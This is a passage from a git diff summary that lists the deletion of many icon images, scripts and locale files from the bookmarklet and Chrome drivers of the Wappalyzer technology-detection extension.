.../bookmarklet/images/icons/Posterous.png | Bin 260 -> 0 bytes .../bookmarklet/images/icons/Powergap.png | Bin 668 -> 0 bytes .../bookmarklet/images/icons/Prefix-Free.png | Bin 489 -> 0 bytes .../bookmarklet/images/icons/Prestashop.png | Bin 1083 -> 0 bytes .../images/icons/Project Wonderful.png | Bin 1894 -> 0 bytes .../bookmarklet/images/icons/Prototype.png | Bin 536 -> 0 bytes .../bookmarklet/images/icons/Protovis.png | Bin 1379 -> 0 bytes .../bookmarklet/images/icons/Pure CSS.png | Bin 459 -> 0 bytes .../bookmarklet/images/icons/Python.png | Bin 755 -> 0 bytes .../bookmarklet/images/icons/Quantcast.png | Bin 660 -> 0 bytes .../bookmarklet/images/icons/Quick.CMS.png | Bin 250 -> 0 bytes .../bookmarklet/images/icons/Quick.Cart.png | Bin 250 -> 0 bytes .../images/icons/RAID HTTPServer.png | Bin 1379 -> 0 bytes .../bookmarklet/images/icons/RBS Change.png | Bin 343 -> 0 bytes .../drivers/bookmarklet/images/icons/RCMS.png | Bin 439 -> 0 bytes .../drivers/bookmarklet/images/icons/RDoc.png | Bin 408 -> 0 bytes .../bookmarklet/images/icons/RackCache.png | Bin 204 -> 0 bytes .../bookmarklet/images/icons/Raphael.png | Bin 1105 -> 0 bytes .../bookmarklet/images/icons/Rapid Logic.png | Bin 1379 -> 0 bytes .../bookmarklet/images/icons/React.png | Bin 561 -> 0 bytes .../bookmarklet/images/icons/ReallyCMS.png | Bin 781 -> 0 bytes .../bookmarklet/images/icons/Red Hat.png | Bin 1440 -> 0 bytes .../bookmarklet/images/icons/Reddit.png | Bin 1282 -> 0 bytes .../bookmarklet/images/icons/Redmine.png | Bin 687 -> 0 bytes .../bookmarklet/images/icons/Reinvigorate.png | Bin 707 -> 0 bytes .../bookmarklet/images/icons/RequireJS.png | Bin 345 -> 0 bytes .../bookmarklet/images/icons/Reveal.js.png | Bin 108 -> 0 bytes .../bookmarklet/images/icons/RiteCMS.png | Bin 245 -> 0 bytes .../bookmarklet/images/icons/RoundCube.png | Bin 2108 -> 0 bytes .../images/icons/Ruby on Rails.png | Bin 1054 -> 0 bytes .../drivers/bookmarklet/images/icons/Ruby.png | Bin 2280 -> 0 bytes .../bookmarklet/images/icons/S.Builder.png | Bin 204 -> 0 bytes .../drivers/bookmarklet/images/icons/SAP.png | Bin 348 -> 0 bytes .../bookmarklet/images/icons/SDL Tridion.png | Bin 625 -> 0 bytes .../bookmarklet/images/icons/SIMsite.png | Bin 1789 -> 0 bytes .../drivers/bookmarklet/images/icons/SMF.png | Bin 255 -> 0 bytes .../bookmarklet/images/icons/SOBI 2.png | Bin 149 -> 0 bytes .../drivers/bookmarklet/images/icons/SPDY.png | Bin 677 -> 0 bytes .../drivers/bookmarklet/images/icons/SPIP.png | Bin 1616 -> 0 bytes .../bookmarklet/images/icons/SQL Buddy.png | Bin 239 -> 0 bytes .../bookmarklet/images/icons/SQLite.png | Bin 627 -> 0 bytes .../drivers/bookmarklet/images/icons/SUSE.png | Bin 398 -> 0 bytes .../bookmarklet/images/icons/SWFObject.png | Bin 745 -> 0 bytes .../bookmarklet/images/icons/Saia PCD.png | Bin 336 -> 0 bytes .../bookmarklet/images/icons/Sarka-SPIP.png | Bin 2106 -> 0 bytes .../bookmarklet/images/icons/Scala.png | Bin 1012 -> 0 bytes .../images/icons/Schneider Web Server.png | Bin 1473 -> 0 bytes .../bookmarklet/images/icons/Schneider.png | Bin 1473 -> 0 bytes .../images/icons/Scientific Linux.png | Bin 171 -> 0 bytes .../bookmarklet/images/icons/Sencha Touch.png | Bin 480 -> 0 bytes .../images/icons/Sentinel Keys Server.png | Bin 85 -> 0 bytes .../images/icons/Sentinel License Monitor.png | Bin 85 -> 0 bytes .../icons/Sentinel Protection Server.png | Bin 85 -> 0 bytes .../bookmarklet/images/icons/Seoshop.png | Bin 772 -> 0 bytes .../bookmarklet/images/icons/Serendipity.png | Bin 757 -> 0 bytes .../bookmarklet/images/icons/Shadow.png | Bin 912 -> 0 bytes .../bookmarklet/images/icons/ShareThis.png | Bin 667 -> 0 bytes .../bookmarklet/images/icons/ShinyStat.png | Bin 222 -> 0 bytes .../bookmarklet/images/icons/Shopalize.png | Bin 711 -> 0 bytes .../bookmarklet/images/icons/Shopatron.png | Bin 299 -> 0 bytes .../bookmarklet/images/icons/Shopify.png | Bin 2054 -> 0 bytes .../bookmarklet/images/icons/Shopware.png | Bin 601 -> 0 bytes .../bookmarklet/images/icons/Silva.png | Bin 724 -> 0 bytes .../bookmarklet/images/icons/SilverStripe.png | Bin 168 -> 0 bytes .../bookmarklet/images/icons/SimpleHTTP.png | Bin 1379 -> 0 bytes .../bookmarklet/images/icons/Site Meter.png | Bin 382 -> 0 bytes .../bookmarklet/images/icons/SiteCatalyst.png | Bin 623 -> 0 bytes .../bookmarklet/images/icons/SiteDNK.png | Bin 1379 -> 0 bytes .../bookmarklet/images/icons/SiteEdit.png | Bin 254 -> 0 bytes .../bookmarklet/images/icons/Sitecore.png | Bin 493 -> 0 bytes .../bookmarklet/images/icons/Sivuviidakko.png | Bin 1658 -> 0 bytes .../bookmarklet/images/icons/Sizmek.png | Bin 642 -> 0 bytes .../bookmarklet/images/icons/Skimlinks.png | Bin 635 -> 0 bytes .../bookmarklet/images/icons/Slimbox 2.png | Bin 1309 -> 0 bytes .../bookmarklet/images/icons/Slimbox.png | Bin 1309 -> 0 bytes .../images/icons/Smart Ad Server.png | Bin 163 -> 0 bytes .../bookmarklet/images/icons/SmartSite.png | Bin 412 -> 0 bytes .../bookmarklet/images/icons/Smartstore.png | Bin 284 -> 0 bytes .../bookmarklet/images/icons/Snap.svg.png | Bin 689 -> 0 bytes .../bookmarklet/images/icons/Snoobi.png | Bin 416 -> 0 bytes .../bookmarklet/images/icons/SobiPro.png | Bin 190 -> 0 bytes .../bookmarklet/images/icons/Socket.io.png | Bin 1628 -> 0 bytes .../bookmarklet/images/icons/Solodev.png | Bin 252 -> 0 bytes .../bookmarklet/images/icons/SoundManager.png | Bin 537 -> 0 bytes .../bookmarklet/images/icons/Sphinx.png | Bin 590 -> 0 bytes .../images/icons/SpiderControl iniNet.png | Bin 652 -> 0 bytes .../bookmarklet/images/icons/Splunk.png | Bin 419 -> 0 bytes .../bookmarklet/images/icons/Splunkd.png | Bin 419 -> 0 bytes .../bookmarklet/images/icons/Spree.png | Bin 431 -> 0 bytes .../bookmarklet/images/icons/Squarespace.png | Bin 2098 -> 0 bytes .../bookmarklet/images/icons/Squiz Matrix.png | Bin 699 -> 0 bytes .../bookmarklet/images/icons/Starlet.png | Bin 2241 -> 0 bytes .../bookmarklet/images/icons/StatCounter.png | Bin 575 -> 0 bytes .../images/icons/Store Systems.png | Bin 558 -> 0 bytes .../bookmarklet/images/icons/Stripe.png | Bin 737 -> 0 bytes .../bookmarklet/images/icons/SublimeVideo.png | Bin 802 -> 0 bytes .../bookmarklet/images/icons/Subrion.png | Bin 906 -> 0 bytes .../bookmarklet/images/icons/SunOS.png | Bin 873 -> 0 bytes .../bookmarklet/images/icons/Supersized.png | Bin 292 -> 0 bytes .../bookmarklet/images/icons/Swiftlet.png | Bin 1187 -> 0 bytes .../images/icons/Synology DiskStation.png | Bin 922 -> 0 bytes .../bookmarklet/images/icons/TWiki.png | Bin 317 -> 0 bytes .../bookmarklet/images/icons/TYPO3 CMS.png | Bin 941 -> 0 bytes .../bookmarklet/images/icons/TYPO3 Flow.png | Bin 941 -> 0 bytes .../bookmarklet/images/icons/TYPO3 Neos.png | Bin 941 -> 0 bytes .../bookmarklet/images/icons/TYPOlight.png | Bin 702 -> 0 bytes .../bookmarklet/images/icons/Tealeaf.png | Bin 367 -> 0 bytes .../bookmarklet/images/icons/TeamCity.png | Bin 528 -> 0 bytes .../bookmarklet/images/icons/Tengine.png | Bin 1914 -> 0 bytes .../images/icons/Textpattern CMS.png | Bin 1768 -> 0 bytes .../bookmarklet/images/icons/TiddlyWiki.png | Bin 843 -> 0 bytes .../images/icons/Tiki Wiki CMS Groupware.png | Bin 694 -> 0 bytes .../bookmarklet/images/icons/Timeline.png | Bin 1379 -> 0 bytes .../bookmarklet/images/icons/Timeplot.png | Bin 724 -> 0 bytes .../bookmarklet/images/icons/TinyMCE.png | Bin 267 -> 0 bytes .../bookmarklet/images/icons/Titan.png | Bin 152 -> 0 bytes .../bookmarklet/images/icons/TomatoCart.png | Bin 196 -> 0 bytes .../images/icons/TornadoServer.png | Bin 809 -> 0 bytes .../drivers/bookmarklet/images/icons/Trac.png | Bin 1815 -> 0 bytes .../bookmarklet/images/icons/TrackJs.png | Bin 3728 -> 0 bytes .../bookmarklet/images/icons/Tumblr.png | Bin 456 -> 0 bytes .../bookmarklet/images/icons/Twilight CMS.png | Bin 426 -> 0 bytes .../bookmarklet/images/icons/TwistPHP.png | Bin 1722 -> 0 bytes .../bookmarklet/images/icons/TwistedWeb.png | Bin 395 -> 0 bytes .../images/icons/Twitter Bootstrap.png | Bin 1427 -> 0 bytes .../bookmarklet/images/icons/TypePad.png | Bin 629 -> 0 bytes .../bookmarklet/images/icons/Typekit.png | Bin 896 -> 0 bytes .../bookmarklet/images/icons/UIKit.png | Bin 393 -> 0 bytes .../drivers/bookmarklet/images/icons/UNIX.png | Bin 1599 -> 0 bytes .../bookmarklet/images/icons/Ubercart.png | Bin 826 -> 0 bytes .../bookmarklet/images/icons/Ubuntu.png | Bin 951 -> 0 bytes .../bookmarklet/images/icons/UltraCart.png | Bin 2545 -> 0 bytes .../bookmarklet/images/icons/Umbraco.png | Bin 671 -> 0 bytes .../images/icons/Underscore.js.png | Bin 110 -> 0 bytes .../bookmarklet/images/icons/UserRules.png | Bin 831 -> 0 bytes .../bookmarklet/images/icons/UserVoice.png | Bin 589 -> 0 bytes .../bookmarklet/images/icons/Ushahidi.png | Bin 2760 -> 0 bytes .../bookmarklet/images/icons/VIVVO.png | Bin 218 -> 0 bytes .../bookmarklet/images/icons/VP-ASP.png | Bin 248 -> 0 bytes .../bookmarklet/images/icons/Vanilla.png | Bin 1948 -> 0 bytes .../bookmarklet/images/icons/Varnish.png | Bin 325 -> 0 bytes .../bookmarklet/images/icons/Veoxa.png | Bin 1462 -> 0 bytes .../bookmarklet/images/icons/VideoJS.png | Bin 311 -> 0 bytes .../bookmarklet/images/icons/VigLink.png | Bin 1179 -> 0 bytes .../bookmarklet/images/icons/Vignette.png | Bin 393 -> 0 bytes .../bookmarklet/images/icons/Vimeo.png | Bin 634 -> 0 bytes .../bookmarklet/images/icons/Virata EmWeb.png | Bin 1379 -> 0 bytes .../bookmarklet/images/icons/VirtueMart.png | Bin 1878 -> 0 bytes .../images/icons/Visual WebGUI.png | Bin 1486 -> 0 bytes .../bookmarklet/images/icons/VisualPath.png | Bin 557 -> 0 bytes .../bookmarklet/images/icons/Volusion.png | Bin 334 -> 0 bytes .../drivers/bookmarklet/images/icons/Vox.png | Bin 171 -> 0 bytes .../bookmarklet/images/icons/Vue.js.png | Bin 594 -> 0 bytes .../images/icons/W3 Total Cache.png | Bin 508 -> 0 bytes .../bookmarklet/images/icons/W3Counter.png | Bin 1693 -> 0 bytes .../bookmarklet/images/icons/WP Rocket.png | Bin 694 -> 0 bytes .../images/icons/Web Optimizer.png | Bin 520 -> 0 bytes .../bookmarklet/images/icons/Web2py.png | Bin 133 -> 0 bytes .../bookmarklet/images/icons/WebGUI.png | Bin 1973 -> 0 bytes .../bookmarklet/images/icons/WebPublisher.png | Bin 340 -> 0 bytes .../bookmarklet/images/icons/Webix.png | Bin 1926 -> 0 bytes .../bookmarklet/images/icons/WebsPlanet.png | Bin 369 -> 0 bytes .../bookmarklet/images/icons/Websale.png | Bin 531 -> 0 bytes .../bookmarklet/images/icons/WebsiteBaker.png | Bin 603 -> 0 bytes .../bookmarklet/images/icons/Webtrekk.png | Bin 337 -> 0 bytes .../bookmarklet/images/icons/Webtrends.png | Bin 849 -> 0 bytes .../bookmarklet/images/icons/Weebly.png | Bin 350 -> 0 bytes .../bookmarklet/images/icons/WikkaWiki.png | Bin 667 -> 0 bytes .../bookmarklet/images/icons/Windows CE.png | Bin 157 -> 0 bytes .../images/icons/Windows Server.png | Bin 157 -> 0 bytes .../drivers/bookmarklet/images/icons/Wink.png | Bin 436 -> 0 bytes .../icons/Winstone Servlet Container.png | Bin 1379 -> 0 bytes .../drivers/bookmarklet/images/icons/Wix.png | Bin 587 -> 0 bytes .../bookmarklet/images/icons/Wolf CMS.png | Bin 231 -> 0 bytes .../bookmarklet/images/icons/WooCommerce.png | Bin 940 -> 0 bytes .../bookmarklet/images/icons/Woopra.png | Bin 2465 -> 0 bytes .../images/icons/WordPress Super Cache.png | Bin 1379 -> 0 bytes .../bookmarklet/images/icons/WordPress.png | Bin 2153 -> 0 bytes .../images/icons/Wowza Media Server.png | Bin 512 -> 0 bytes .../bookmarklet/images/icons/X-Cart.png | Bin 1254 -> 0 bytes .../bookmarklet/images/icons/XAMPP.png | Bin 1929 -> 0 bytes .../drivers/bookmarklet/images/icons/XMB.png | Bin 697 -> 0 bytes .../bookmarklet/images/icons/XOOPS.png | Bin 615 -> 0 bytes .../bookmarklet/images/icons/XRegExp.png | Bin 302 -> 0 bytes .../bookmarklet/images/icons/Xajax.png | Bin 893 -> 0 bytes .../bookmarklet/images/icons/Xanario.png | Bin 465 -> 0 bytes .../bookmarklet/images/icons/XenForo.png | Bin 290 -> 0 bytes .../drivers/bookmarklet/images/icons/XiTi.png | Bin 621 -> 0 bytes .../bookmarklet/images/icons/Xitami.png | Bin 175 -> 0 bytes .../bookmarklet/images/icons/YUI Doc.png | Bin 1737 -> 0 bytes .../drivers/bookmarklet/images/icons/YUI.png | Bin 1287 -> 0 bytes .../drivers/bookmarklet/images/icons/YaBB.png | Bin 357 -> 0 bytes .../images/icons/Yahoo Advertising.png | Bin 1737 -> 0 bytes .../images/icons/Yahoo! Ecommerce.png | Bin 1737 -> 0 bytes .../images/icons/Yahoo! Web Analytics.png | Bin 1737 -> 0 bytes .../images/icons/Yandex.Direct.png | Bin 2031 -> 0 bytes .../images/icons/Yandex.Metrika.png | Bin 1113 -> 0 bytes .../bookmarklet/images/icons/Yieldlab.png | Bin 1823 -> 0 bytes .../drivers/bookmarklet/images/icons/Yii.png | Bin 729 -> 0 bytes .../bookmarklet/images/icons/YouTube.png | Bin 570 -> 0 bytes .../drivers/bookmarklet/images/icons/ZK.png | Bin 398 -> 0 bytes .../images/icons/ZURB Foundation.png | Bin 833 -> 0 bytes .../bookmarklet/images/icons/Zabbix.png | Bin 125 -> 0 bytes .../bookmarklet/images/icons/Zanox.png | Bin 789 -> 0 bytes .../bookmarklet/images/icons/Zen Cart.png | Bin 938 -> 0 bytes .../drivers/bookmarklet/images/icons/Zend.png | Bin 1119 -> 0 bytes .../bookmarklet/images/icons/Zepto.png | Bin 2358 -> 0 bytes .../bookmarklet/images/icons/Zeuscart.png | Bin 1051 -> 0 bytes .../bookmarklet/images/icons/Zinnia.png | Bin 848 -> 0 bytes .../drivers/bookmarklet/images/icons/Zope.png | Bin 574 -> 0 bytes .../bookmarklet/images/icons/amCharts.png | Bin 117 -> 0 bytes .../bookmarklet/images/icons/basket.js.png | Bin 749 -> 0 bytes .../bookmarklet/images/icons/cPanel.png | Bin 539 -> 0 bytes .../drivers/bookmarklet/images/icons/cgit.png | Bin 115 -> 0 bytes .../bookmarklet/images/icons/comScore.png | Bin 1429 -> 0 bytes .../bookmarklet/images/icons/debut.png | Bin 210 -> 0 bytes .../bookmarklet/images/icons/default.png | Bin 1379 -> 0 bytes .../bookmarklet/images/icons/dwhttpd.png | Bin 1379 -> 0 bytes .../drivers/bookmarklet/images/icons/e107.png | Bin 574 -> 0 bytes .../images/icons/eDevice SmartStack.png | Bin 569 -> 0 bytes .../bookmarklet/images/icons/eHTTP.png | Bin 1379 -> 0 bytes .../bookmarklet/images/icons/eSyndiCat.png | Bin 724 -> 0 bytes .../bookmarklet/images/icons/eZ Publish.png | Bin 134 -> 0 bytes .../bookmarklet/images/icons/flask.png | Bin 2027 -> 0 bytes .../drivers/bookmarklet/images/icons/git.png | Bin 602 -> 0 bytes .../bookmarklet/images/icons/gitweb.png | Bin 602 -> 0 bytes .../bookmarklet/images/icons/gunicorn.png | Bin 1651 -> 0 bytes .../bookmarklet/images/icons/iCongo.png | Bin 906 -> 0 bytes .../drivers/bookmarklet/images/icons/iWeb.png | Bin 219 -> 0 bytes .../bookmarklet/images/icons/io4-CMS.png | Bin 445 -> 0 bytes .../bookmarklet/images/icons/jQTouch.png | Bin 884 -> 0 bytes .../images/icons/jQuery Mobile.png | Bin 1418 -> 0 bytes .../images/icons/jQuery Sparklines.png | Bin 1379 -> 0 bytes .../bookmarklet/images/icons/jQuery UI.png | Bin 727 -> 0 bytes .../bookmarklet/images/icons/jQuery.png | Bin 1418 -> 0 bytes .../bookmarklet/images/icons/jqPlot.png | Bin 592 -> 0 bytes .../images/icons/libwww-perl-daemon.png | Bin 2241 -> 0 bytes .../bookmarklet/images/icons/lighttpd.png | Bin 949 -> 0 bytes .../bookmarklet/images/icons/math.js.png | Bin 346 -> 0 bytes .../bookmarklet/images/icons/mini_httpd.png | Bin 124 -> 0 bytes .../bookmarklet/images/icons/mod_auth_pam.png | Bin 1331 -> 0 bytes .../bookmarklet/images/icons/mod_fastcgi.png | Bin 1331 -> 0 bytes .../bookmarklet/images/icons/mod_jk.png | Bin 1331 -> 0 bytes .../bookmarklet/images/icons/mod_perl.png | Bin 372 -> 0 bytes .../bookmarklet/images/icons/mod_python.png | Bin 607 -> 0 bytes .../bookmarklet/images/icons/mod_rack.png | Bin 1922 -> 0 bytes .../bookmarklet/images/icons/mod_rails.png | Bin 1922 -> 0 bytes .../bookmarklet/images/icons/mod_ssl.png | Bin 488 -> 0 bytes .../bookmarklet/images/icons/mod_wsgi.png | Bin 199 -> 0 bytes .../bookmarklet/images/icons/node.js.png | Bin 1044 -> 0 bytes .../bookmarklet/images/icons/nopCommerce.png | Bin 736 -> 0 bytes .../bookmarklet/images/icons/openEngine.png | Bin 273 -> 0 bytes .../bookmarklet/images/icons/osCSS.png | Bin 750 -> 0 bytes .../bookmarklet/images/icons/osCommerce.png | Bin 1647 -> 0 bytes .../bookmarklet/images/icons/ownCloud.png | Bin 799 -> 0 bytes .../bookmarklet/images/icons/papaya CMS.png | Bin 391 -> 0 bytes .../bookmarklet/images/icons/phpAlbum.png | Bin 443 -> 0 bytes .../bookmarklet/images/icons/phpBB.png | Bin 1240 -> 0 bytes .../bookmarklet/images/icons/phpCMS.png | Bin 425 -> 0 bytes .../images/icons/phpDocumentor.png | Bin 367 -> 0 bytes .../bookmarklet/images/icons/phpMyAdmin.png | Bin 468 -> 0 bytes .../bookmarklet/images/icons/phpPgAdmin.png | Bin 237 -> 0 bytes .../bookmarklet/images/icons/phpSQLiteCMS.png | Bin 359 -> 0 bytes .../bookmarklet/images/icons/phpwind.png | Bin 467 -> 0 bytes .../bookmarklet/images/icons/prettyPhoto.png | Bin 139 -> 0 bytes .../bookmarklet/images/icons/punBB.png | Bin 295 -> 0 bytes .../bookmarklet/images/icons/reCAPTCHA.png | Bin 607 -> 0 bytes .../drivers/bookmarklet/images/icons/sIFR.png | Bin 111 -> 0 bytes .../bookmarklet/images/icons/sNews.png | Bin 270 -> 0 bytes .../images/icons/script.aculo.us.png | Bin 542 -> 0 bytes .../bookmarklet/images/icons/spin.js.png | Bin 1295 -> 0 bytes .../bookmarklet/images/icons/swift.engine.png | Bin 130 -> 0 bytes .../bookmarklet/images/icons/three.js.png | Bin 275 -> 0 bytes .../bookmarklet/images/icons/thttpd.png | Bin 124 -> 0 bytes .../bookmarklet/images/icons/total.js.png | Bin 176 -> 0 bytes .../bookmarklet/images/icons/uCore.png | Bin 779 -> 0 bytes .../bookmarklet/images/icons/vBulletin.png | Bin 1808 -> 0 bytes .../bookmarklet/images/icons/viennaCMS.png | Bin 1379 -> 0 bytes .../bookmarklet/images/icons/webEdition.png | Bin 418 -> 0 bytes .../bookmarklet/images/icons/xCharts.png | Bin 1379 -> 0 bytes .../bookmarklet/images/icons/xtCommerce.png | Bin 1092 -> 0 bytes .../drivers/bookmarklet/images/icons/xui.png | Bin 600 -> 0 bytes .../bookmarklet/images/icons/yepnope.js.png | Bin 1330 -> 0 bytes .../drivers/bookmarklet/images/pending.gif | Bin 3956 -> 0 bytes Wappalyzer/drivers/bookmarklet/index.html | 101 - Wappalyzer/drivers/bookmarklet/js/apps.js | 3839 --------------- Wappalyzer/drivers/bookmarklet/js/driver.js | 186 - .../drivers/bookmarklet/js/wappalyzer.js | 531 --- Wappalyzer/drivers/bookmarklet/json/apps.json | 4246 ----------------- .../drivers/chrome/_locales/en/messages.json | 58 - .../drivers/chrome/_locales/es/messages.json | 62 - .../drivers/chrome/_locales/fr/messages.json | 62 - .../drivers/chrome/_locales/ro/messages.json | 58 - .../drivers/chrome/_locales/ru/messages.json | 156 - Wappalyzer/drivers/chrome/background.html | 14 - Wappalyzer/drivers/chrome/css/options.css | 65 - Wappalyzer/drivers/chrome/css/popup.css | 93 - Wappalyzer/drivers/chrome/css/widgets.css | 298 -- Wappalyzer/drivers/chrome/images/github.png | Bin 281 -> 0 bytes Wappalyzer/drivers/chrome/images/header.png | Bin 34908 -> 0 bytes Wappalyzer/drivers/chrome/images/icon_128.png | Bin 9751 -> 0 bytes Wappalyzer/drivers/chrome/images/icon_19.png | Bin 665 -> 0 bytes Wappalyzer/drivers/chrome/images/icon_32.png | Bin 1548 -> 0 bytes Wappalyzer/drivers/chrome/images/icon_38.png | Bin 1913 -> 0 bytes Wappalyzer/drivers/chrome/images/icon_hot.png | Bin 634 -> 0 bytes .../drivers/chrome/images/icons/1C-Bitrix.png | Bin 369 -> 0 bytes .../drivers/chrome/images/icons/1und1.png | Bin 288 -> 0 bytes .../chrome/images/icons/2z Project.png | Bin 529 -> 0 bytes .../drivers/chrome/images/icons/3DM.png | Bin 631 -> 0 bytes .../drivers/chrome/images/icons/3dCart.png | Bin 339 -> 0 bytes .../drivers/chrome/images/icons/3ware.png | Bin 631 -> 0 bytes .../drivers/chrome/images/icons/AMPcms.png | Bin 779 -> 0 bytes .../drivers/chrome/images/icons/AOLserver.png | Bin 473 -> 0 bytes .../images/icons/AT Internet Analyzer.png | Bin 796 -> 0 bytes .../chrome/images/icons/AT Internet XiTi.png | Bin 796 -> 0 bytes .../drivers/chrome/images/icons/ATEN.png | Bin 644 -> 0 bytes .../chrome/images/icons/ATG Web Commerce.png | Bin 873 -> 0 bytes .../drivers/chrome/images/icons/AWStats.png | Bin 499 -> 0 bytes .../chrome/images/icons/Accessible Portal.png | Bin 682 -> 0 bytes .../chrome/images/icons/AdInfinity.png | Bin 1363 -> 0 bytes .../drivers/chrome/images/icons/AdRiver.png | Bin 299 -> 0 bytes .../drivers/chrome/images/icons/AdRoll.png | Bin 633 -> 0 bytes .../drivers/chrome/images/icons/Adcash.png | Bin 621 -> 0 bytes .../chrome/images/icons/AddShoppers.png | Bin 1866 -> 0 bytes .../drivers/chrome/images/icons/AddThis.png | Bin 663 -> 0 bytes .../drivers/chrome/images/icons/Adobe CQ5.png | Bin 735 -> 0 bytes .../chrome/images/icons/Adobe ColdFusion.png | Bin 310 -> 0 bytes .../chrome/images/icons/Adobe GoLive.png | Bin 374 -> 0 bytes .../chrome/images/icons/Adobe Muse.png | Bin 2086 -> 0 bytes .../chrome/images/icons/Adobe RoboHelp.png | Bin 1774 -> 0 bytes .../images/icons/Advanced Web Stats.png | Bin 844 -> 0 bytes .../chrome/images/icons/Advert Stream.png | Bin 1397 -> 0 bytes .../drivers/chrome/images/icons/Adzerk.png | Bin 1050 -> 0 bytes .../drivers/chrome/images/icons/Airee.png | Bin 485 -> 0 bytes .../drivers/chrome/images/icons/Akamai.png | Bin 845 -> 0 bytes .../images/icons/Algolia Realtime Search.png | Bin 1261 -> 0 bytes .../chrome/images/icons/Allegro RomPager.png | Bin 205 -> 0 bytes .../drivers/chrome/images/icons/Alloy.png | Bin 267 -> 0 bytes .../drivers/chrome/images/icons/AlloyUI.png | Bin 607 -> 0 bytes .../drivers/chrome/images/icons/Amaya.png | Bin 454 -> 0 bytes .../drivers/chrome/images/icons/Ametys.png | Bin 567 -> 0 bytes .../drivers/chrome/images/icons/Amiro.CMS.png | Bin 347 -> 0 bytes .../chrome/images/icons/Anchor CMS.png | Bin 342 -> 0 bytes .../drivers/chrome/images/icons/AngularJS.png | Bin 1618 -> 0 bytes .../chrome/images/icons/Apache HBase.png | Bin 185 -> 0 bytes .../chrome/images/icons/Apache Hadoop.png | Bin 1505 -> 0 bytes .../chrome/images/icons/Apache JSPWiki.png | Bin 566 -> 0 bytes .../chrome/images/icons/Apache Tomcat.png | Bin 1569 -> 0 bytes .../images/icons/Apache Traffic Server.png | Bin 747 -> 0 bytes .../chrome/images/icons/Apache Wicket.png | Bin 1684 -> 0 bytes .../drivers/chrome/images/icons/Apache.png | Bin 1331 -> 0 bytes .../drivers/chrome/images/icons/AppNexus.png | Bin 1691 -> 0 bytes .../drivers/chrome/images/icons/Arc Forum.png | Bin 384 -> 0 bytes .../images/icons/Artifactory Web Server.png | Bin 317 -> 0 bytes .../chrome/images/icons/Artifactory.png | Bin 317 -> 0 bytes .../drivers/chrome/images/icons/AsciiDoc.png | Bin 131 -> 0 bytes .../images/icons/Atlassian Bitbucket.png | Bin 692 -> 0 bytes .../images/icons/Atlassian Confluence.png | Bin 1137 -> 0 bytes .../chrome/images/icons/Atlassian FishEye.png | Bin 766 -> 0 bytes .../icons/Atlassian Jira Issue Collector.png | Bin 809 -> 0 bytes .../chrome/images/icons/Atlassian Jira.png | Bin 809 -> 0 bytes .../drivers/chrome/images/icons/Avangate.png | Bin 858 -> 0 bytes .../drivers/chrome/images/icons/BIGACE.png | Bin 617 -> 0 bytes .../chrome/images/icons/Backbone.js.png | Bin 1525 -> 0 bytes .../drivers/chrome/images/icons/Banshee.png | Bin 254 -> 0 bytes .../drivers/chrome/images/icons/BaseHTTP.png | Bin 755 -> 0 bytes .../drivers/chrome/images/icons/BigDump.png | Bin 1379 -> 0 bytes .../chrome/images/icons/Bigcommerce.png | Bin 574 -> 0 bytes .../drivers/chrome/images/icons/Bigware.png | Bin 750 -> 0 bytes .../drivers/chrome/images/icons/BittAds.png | Bin 184 -> 0 bytes .../drivers/chrome/images/icons/Blip.tv.png | Bin 218 -> 0 bytes .../drivers/chrome/images/icons/Blogger.png | Bin 261 -> 0 bytes .../drivers/chrome/images/icons/BlueKai.png | Bin 1385 -> 0 bytes .../drivers/chrome/images/icons/Bluefish.png | Bin 1871 -> 0 bytes .../drivers/chrome/images/icons/Boa.png | Bin 1379 -> 0 bytes .../drivers/chrome/images/icons/Bolt.png | Bin 1544 -> 0 bytes .../drivers/chrome/images/icons/Bonfire.png | Bin 1994 -> 0 bytes .../drivers/chrome/images/icons/Brother.png | Bin 210 -> 0 bytes .../chrome/images/icons/BrowserCMS.png | Bin 509 -> 0 bytes .../drivers/chrome/images/icons/BugSense.png | Bin 336 -> 0 bytes .../drivers/chrome/images/icons/BugSnag.png | Bin 5226 -> 0 bytes .../drivers/chrome/images/icons/Bugzilla.png | Bin 641 -> 0 bytes .../chrome/images/icons/Burning Board.png | Bin 655 -> 0 bytes .../chrome/images/icons/Business Catalyst.png | Bin 362 -> 0 bytes .../chrome/images/icons/BuySellAds.png | Bin 370 -> 0 bytes .../drivers/chrome/images/icons/C++.png | Bin 743 -> 0 bytes .../drivers/chrome/images/icons/CFML.png | Bin 310 -> 0 bytes .../drivers/chrome/images/icons/CKEditor.png | Bin 712 -> 0 bytes .../chrome/images/icons/CMS Made Simple.png | Bin 1168 -> 0 bytes .../drivers/chrome/images/icons/CMSimple.png | Bin 1379 -> 0 bytes .../drivers/chrome/images/icons/CO2Stats.png | Bin 642 -> 0 bytes .../chrome/images/icons/CPG Dragonfly.png | Bin 407 -> 0 bytes .../drivers/chrome/images/icons/CS Cart.png | Bin 315 -> 0 bytes .../drivers/chrome/images/icons/CacheFly.png | Bin 348 -> 0 bytes .../drivers/chrome/images/icons/CakePHP.png | Bin 706 -> 0 bytes .../chrome/images/icons/Canon HTTP Server.png | Bin 678 -> 0 bytes .../drivers/chrome/images/icons/Canon.png | Bin 678 -> 0 bytes .../chrome/images/icons/Carbon Ads.png | Bin 595 -> 0 bytes .../drivers/chrome/images/icons/Cargo.png | Bin 147 -> 0 bytes .../drivers/chrome/images/icons/Catwalk.png | Bin 678 -> 0 bytes .../drivers/chrome/images/icons/CentOS.png | Bin 670 -> 0 bytes .../chrome/images/icons/CenteHTTPd.png | Bin 736 -> 0 bytes .../drivers/chrome/images/icons/Chameleon.png | Bin 773 -> 0 bytes .../drivers/chrome/images/icons/Chamilo.png | Bin 1231 -> 0 bytes .../drivers/chrome/images/icons/Chartbeat.png | Bin 981 -> 0 bytes .../drivers/chrome/images/icons/Cherokee.png | Bin 635 -> 0 bytes .../drivers/chrome/images/icons/CherryPy.png | Bin 301 -> 0 bytes .../drivers/chrome/images/icons/Chitika.png | Bin 1169 -> 0 bytes .../drivers/chrome/images/icons/ClickHeat.png | Bin 434 -> 0 bytes .../drivers/chrome/images/icons/ClickTale.png | Bin 1155 -> 0 bytes .../drivers/chrome/images/icons/Clicky.png | Bin 1869 -> 0 bytes .../chrome/images/icons/CloudFlare.png | Bin 1640 -> 0 bytes .../drivers/chrome/images/icons/Cloudera.png | Bin 500 -> 0 bytes .../chrome/images/icons/CodeIgniter.png | Bin 1037 -> 0 bytes .../chrome/images/icons/CodeMirror.png | Bin 179 -> 0 bytes .../chrome/images/icons/Commerce Server.png | Bin 351 -> 0 bytes .../chrome/images/icons/CompaqHTTPServer.png | Bin 589 -> 